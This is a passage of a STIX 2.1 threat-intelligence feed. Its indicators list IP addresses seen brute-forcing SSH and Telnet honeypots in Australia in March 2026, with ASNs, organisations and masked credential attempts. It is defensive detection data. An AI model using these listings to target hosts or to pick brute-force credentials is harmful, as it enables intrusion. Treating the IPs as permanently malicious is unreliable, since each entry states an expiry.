      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****2, 1*******d, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--88064a48-c328-4b62-aeb6-4f535b1d202b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.187.118.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2527. Organisation(s): Sony Network Communications Inc..",
      "id": "indicator--f455d8de-4d95-4e79-be7c-401be93b8994",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.236.4.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T12:15:04.000Z",
      "valid_until": "2026-04-29T12:15:02.000Z"
    },
    {
      "created": "2026-03-28T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--d980acd5-66c7-436e-a278-5bc25547bb13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.197.163.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T12:15:04.000Z",
      "valid_until": "2026-04-29T12:15:02.000Z"
    },
    {
      "created": "2026-03-28T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9ab720a2-0e81-4f26-bd3b-0e093db9f6ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T12:15:04.000Z",
      "valid_until": "2026-04-29T12:15:02.000Z"
    },
    {
      "created": "2026-03-28T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, p******d.",
      "id": "indicator--535e9a11-65a0-4c0a-8d63-ef79d81b8258",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.62.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T12:15:04.000Z",
      "valid_until": "2026-04-29T12:15:02.000Z"
    },
    {
      "created": "2026-03-28T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--45706f89-c7e5-400e-b152-705daa4227f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.105.140.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T12:15:04.000Z",
      "valid_until": "2026-04-29T12:15:02.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): !********!, f******6, s******6, w******6.",
      "id": "indicator--24ac073b-72b2-4ed3-863e-37d661ecbb89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.173.37.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0237c062-3568-49a1-8871-3eabdd417cb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.156.143.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******D, 3***********4, 3**********4, f*******1, p******a.",
      "id": "indicator--ebafe600-daed-43d5-9d24-2bbfc7a240c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.191.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**********c, Q******2, n******4, p****o.",
      "id": "indicator--7aadd378-98e9-421e-8ac8-304ae93cc9ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.122.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 57043. Organisation(s): Hostkey B.v.. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r***1, r****2.",
      "id": "indicator--cdacfef7-fcf2-484a-836c-e4701ff1af11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.17.10.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--57a25cbb-fb69-4581-8936-eabda4fa7509",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.91.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 202660. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P******d, P**********$, S********6.",
      "id": "indicator--3239d971-427f-47fe-af04-2981c9dd9e29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.126.209.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network.",
      "id": "indicator--496e7214-2b1e-4650-abac-a91db8ab29eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.165.150.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:15:03.000Z",
      "valid_until": "2026-04-29T13:15:01.000Z"
    },
    {
      "created": "2026-03-28T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4d347580-579f-4706-8290-be4b48c4ae0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.81.43.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:15:03.000Z",
      "valid_until": "2026-04-29T14:15:01.000Z"
    },
    {
      "created": "2026-03-28T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********6, 3***********4, 3**********4, A******!, v****n.",
      "id": "indicator--5a9e8ad0-f586-4bf9-9690-38e9d4ce78e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.86.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:15:03.000Z",
      "valid_until": "2026-04-29T14:15:01.000Z"
    },
    {
      "created": "2026-03-28T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--5cc264b9-dd11-404c-a47e-87d16d7134e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.7.193.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:15:03.000Z",
      "valid_until": "2026-04-29T14:15:01.000Z"
    },
    {
      "created": "2026-03-28T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b285a1eb-af2a-447d-9d96-8cd72ffb2d5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:15:03.000Z",
      "valid_until": "2026-04-29T14:15:01.000Z"
    },
    {
      "created": "2026-03-28T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--47950095-a5a3-46cd-990a-c2798194f0d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:15:03.000Z",
      "valid_until": "2026-04-29T14:15:01.000Z"
    },
    {
      "created": "2026-03-28T15:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--22c14de7-de34-4b20-98ba-d9625981b2bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.251.7.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T15:15:04.000Z",
      "valid_until": "2026-04-29T15:15:01.000Z"
    },
    {
      "created": "2026-03-28T15:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b99274db-b37c-46c9-9cea-dd01c1e8375f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T15:15:04.000Z",
      "valid_until": "2026-04-29T15:15:01.000Z"
    },
    {
      "created": "2026-03-28T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 401539. Organisation(s): Corvex, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 1***5.",
      "id": "indicator--e4434a93-85b8-4260-94aa-53a08b342a88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.72.54.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:15:03.000Z",
      "valid_until": "2026-04-29T16:15:01.000Z"
    },
    {
      "created": "2026-03-28T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--319bb893-568f-4859-b992-573c5b0cce27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.180.50.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:15:03.000Z",
      "valid_until": "2026-04-29T16:15:01.000Z"
    },
    {
      "created": "2026-03-28T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--606f6621-a0cf-437f-b664-86d573ecc101",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.179.164.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:15:03.000Z",
      "valid_until": "2026-04-29T16:15:01.000Z"
    },
    {
      "created": "2026-03-28T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--aa994be2-b180-47a7-8158-95a24d411987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:15:03.000Z",
      "valid_until": "2026-04-29T16:15:01.000Z"
    },
    {
      "created": "2026-03-28T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133275. Organisation(s): Gigantic Infotel Pvt Ltd.",
      "id": "indicator--cc0bbc80-d975-4ddf-b4f9-f3d9d25f916e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.248.236.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:15:03.000Z",
      "valid_until": "2026-04-29T16:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--744966a4-f6c0-4b98-bfb8-df5988ce5229",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.36.19.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--70dec905-af76-421e-bbe5-feb2dc9586bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t. Passwords observed (masked): D*****l, a********6, r*****a.",
      "id": "indicator--3ae7a4ba-e509-4e4b-8d20-15d8e4a530a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.208.209.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f0dd478a-74db-4f67-a823-e04f6d4b965f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--9ec572cf-c343-4c95-8299-499db0d9180b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.112.28.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--b4fbaf7f-cada-4746-bdac-eaf07f98ebd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.41.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom.",
      "id": "indicator--4f050343-34c4-40da-99b7-9d3d9ff76619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.141.107.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--8c74eba4-8371-42d2-a1cc-892396c1171a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.100.241.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T17:15:03.000Z",
      "valid_until": "2026-04-29T17:15:01.000Z"
    },
    {
      "created": "2026-03-28T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 152194. Organisation(s): CTG Server Limited. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--63bf7d05-fe56-4d97-b310-985682759a11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.177.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T18:15:04.000Z",
      "valid_until": "2026-04-29T18:15:02.000Z"
    },
    {
      "created": "2026-03-28T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--ef83ec47-b660-4419-92e0-75d72f87ba44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.66.150.241']",
